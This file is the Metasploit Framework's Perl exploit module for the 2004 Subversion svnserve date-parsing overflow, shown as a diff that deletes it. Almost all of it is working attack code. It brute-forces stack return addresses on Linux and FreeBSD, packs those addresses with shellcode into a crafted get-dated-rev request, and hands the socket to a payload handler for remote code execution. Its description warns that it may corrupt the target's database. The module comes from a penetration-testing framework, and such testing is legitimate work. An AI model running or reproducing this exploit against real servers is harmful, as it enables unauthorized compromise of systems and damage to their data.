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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::svnserve_date;
- use strict;
- use base 'Msf::Exploit';
- use Pex::Text;
-
- my $advanced =
- {
- 'StackTop' => ['', 'Start address for stack ret bruteforcing, empty for defaults from target'],
- 'StackBottom' => ['', 'End address for stack ret bruteforcing, empty for defaults from target'],
- 'StackStep' => [0, 'Step size for ret bruteforcing, 0 for auto calculation.'],
- 'BruteWait' => [.4, 'Length in seconds to wait between bruteforce attempts'],
-
- # This was like 62 on my machine and 88 on HD's
- 'RetLength' => [100, 'Length of rets after payload'],
- 'IgnoreErrors' => [0, 'Keep going even after critical errors.'],
- };
-
- my $info = {
- 'Name' => 'Subversion Date Svnserve',
- 'Version' => '$Revision: 1.35 $',
- 'Authors' => [ 'spoonm <ninjatools [at] hush.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'linux', 'bsd' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The svnserve port', 3690],
- 'URL' => [1, 'DATA', 'SVN URL (ie svn://host/repos)', 'svn://host/svn/repos'],
- },
-
- 'Payload' =>
- {
- 'Space' => 500,
- 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
- 'MinNops' => 16, # This keeps brute forcing sane
- 'Keys' => ['+findsock'],
- },
-
- 'Nop' =>
- {
- 'SaveRegs' => ['esp'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This is an exploit for the Subversion date parsing overflow. This
- exploit is for the svnserve daemon (svn:// protocol) and will not work
- for Subversion over webdav (http[s]://). This exploit should never
- crash the daemon, and should be safe to do multi-hits.
-
- **WARNING** This exploit seems to (not very often, I've only seen
- it during testing) corrupt the subversion database, so be careful!
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '6301'],
- ['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
- ['MIL', '68'],
- ],
-
- 'DefaultTarget' => -1,
- 'Targets' =>
- [
- ['Linux Bruteforce', '0xbffffe13', '0xbfff0000'],
- ['FreeBSD Bruteforce', '0xbfbffe13', '0xbfbf0000'],
- ],
-
- 'Keys' => ['subversion'],
-
- 'DisclosureDate' => 'May 19 2004',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
-
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
-
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
- my $targetIndex = $self->GetVar('TARGET');
- my $encodedPayload = $self->GetVar('EncodedPayload');
- my $shellcode = $encodedPayload->Payload;
- my $target = $self->Targets->[$targetIndex];
-
- my $retLength = $self->GetLocal('RetLength');
- my $bruteWait = $self->GetLocal('BruteWait');
- my $stackTop = $self->GetLocal('StackTop');
- my $stackBottom = $self->GetLocal('StackBottom');
- my $stackStep = $self->GetLocal('StackStep');
- my $url = $self->GetVar('URL');
- my $srcPort = $self->GetVar('CPORT');
-
- $stackTop = $target->[1] if(!length($stackTop));
- $stackBottom = $target->[2] if(!length($stackBottom));
- $stackTop = hex($stackTop);
- $stackBottom = hex($stackBottom);
-
- $stackStep = $encodedPayload->NopsLength if($stackStep == 0);
- $stackStep -= $stackStep % 4; # ya ya, whatever
-
- for(my $ret = $stackTop; $ret >= $stackBottom; $ret = $self->StepAddress('Address' => $ret, 'StepSize' => $stackStep)) {
- my $sock = Msf::Socket::Tcp->new('PeerAddr' => $targetHost, 'PeerPort' => $targetPort, 'LocalPort' => $srcPort);
- if($sock->IsError) {
- $self->PrintLine('Error creating socket: ' . $sock->GetError);
- return;
- }
-
- $self->PrintLine(sprintf("Trying %#08x", $ret));
- my $evil = (pack('V', $ret) x int($retLength / 4)) . $shellcode;
-
- # my $evil = 'A' x 300;
-
- my @data = (
- '( 2 ( edit-pipeline ) ' . lengther($url) . ' ) ',
- '( ANONYMOUS ( 0: ) ) ',
- '( get-dated-rev ( ' .
-
- # lengther('Tue' . 'A' x $ARGV[0] . ' 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off -18000)') . ' ) ) '.
- lengther($evil . ' 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)') . ' ) ) ',
- '',
- );
-
- my $i = 0;
- foreach my $data (@data) {
- my $dump = $sock->Recv(-1);
- $self->PrintDebugLine(3, "dump\n$dump");
- if(!$sock->Send($data) && $i < 3) {
- $self->PrintLine('Error in send.');
- $sock->PrintError;
- $self->PrintLine('This is bad.');
- $self->PrintLine("$dump\n");
- return if(!$self->GetLocal('IgnoreErrors'));
- }
- if($i == 3 && length($dump)) {
- $self->PrintLine("Received data when we should't have, bailing.");
- $self->PrintLine($dump);
- return if(!$self->GetLocal('IgnoreErrors'));
- }
- $i++;
- }
-
- select(undef, undef, undef, $bruteWait); # ghetto sleep
- $self->Handler($sock);
- $sock->Close;
- select(undef, undef, undef, 1) if($srcPort); # ghetto sleep, wait for CPORT
- }
- return;
- }
-
- sub lengther {
- my $data = shift;
- return(length($data) . ':' . $data);
- }
-
- 1;
-